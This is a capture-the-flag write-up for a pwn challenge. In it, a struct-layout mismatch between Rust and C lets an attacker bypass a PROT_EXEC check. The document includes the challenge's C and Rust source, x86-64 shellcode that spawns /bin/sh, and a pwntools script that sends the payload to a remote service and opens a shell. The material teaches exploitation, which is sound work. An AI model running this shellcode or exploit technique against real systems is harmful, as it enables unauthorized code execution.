#
Provided Files12345678910111213141516171819202122232425262728293031323334353637383940414243
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>
struct MmapArgs {
uint64_t * addr;
uint64_t length;
int protection;
int flags;
int fd;
uint64_t offset;
};
extern struct MmapArgs mmap_args();
int main () {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct MmapArgs args = mmap_args();
char * buf = mmap(args.addr, args.length, args.protection, MAP_PRIVATE | MAP_ANON, args.fd, args.offset);
if (buf < 0) {
perror("failed to mmap");
}
read(0, buf, 0x1000);
printf("> ");
int op;
if (scanf("%d", &op) == 1) {
switch (op) {
case 0:
((void (*)(void))buf)();
break;
case 1:
puts(buf);
break;
}
}
}
1234567891011121314151617181920212223242526272829303132333435363738394041
#![allow(warnings)]
pub struct MmapArgs {
addr: u64,
length: u64,
protection: u32,
flags: u32,
fd: u32,
offset: u64,
}
#[no_mangle]
pub extern "C" fn mmap_args() -> MmapArgs {
let args = MmapArgs {
addr: read::<u64>(),
length: read::<u64>(),
protection: read::<u32>(),
flags: read::<u32>(),
fd: read::<u32>(),
offset: read::<u64>(),
};
if args.protection & 4 != 0 {
panic!("PROT_EXEC not allowed");
}
args
}
fn read<T>() -> T
where
T: std::str::FromStr,
<T as std::str::FromStr>::Err: std::fmt::Debug,
{
use std::io::{stdin, stdout, Write};
print!("> ");
stdout().flush().unwrap();
let mut buf = String::new();
stdin().read_line(&mut buf).unwrap();
buf.trim().parse::<T>().unwrap()
}
#
IntendedThe challenge provides the source for chal
and libi_love_ffi.so
in chal.c
and
lib.rs
respectively. On the Rust side, an mmap_args
function is defined that
sets up the arguments and passes them over to C to execute. The Rust performs some
basic checks to prevent passing the PROT_EXEC
flag in the protections field, which
should prevent allocating shellcode.
However, although the struct definitions in Rust and C are equivalent with the layout and types exactly the same, when you are compiled they are generated differently. Modern compilers will typically pad struct fields so that memory accesses to those fields are faster. The problem is that Rust and C have different padding behavior. C will attempt to align struct fields to their memory size, but will maintain struct order. Rust will also attempt to align struct fields to their memory size, but will not maintain struct order.
#
memory layoutoffset | C | Rust |
---|---|---|
0x00 | addr | addr |
0x04 | addr | addr |
0x08 | length | length |
0x0C | length | length |
0x10 | protection | offset |
0x14 | flags | offset |
0x18 | fd | protection |
0x1C | [ unused ] | flags |
0x20 | offset | fd |
0x24 | offset | [ unused ] |
As we can see in the above chart, the fields in Rust dont match up one-to-one to the struct fields on the C side. This allows us to bypass the protection check in rust and allocate shellcode.
#
Solution1 2 3 4 5 6 7 8 9 10
bits 64
_start:
mov rax, `/bin/sh`
push rax
mov eax, 0x3b
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
1 2 3 4 5 6 7 8 9 10 11
from pwn import *
p = remote(args.HOST, args.PORT)
for n in [0, 0x1000, 0, 0, 0, 7]:
p.sendlineafter(b"> ", str(n).encode())
p.send(open("shellcode", "rb").read().ljust(4096, b"\x00"))
p.sendlineafter(b"> ", b"0")
p.interactive()
#
UnintendedsNo unintendeds :D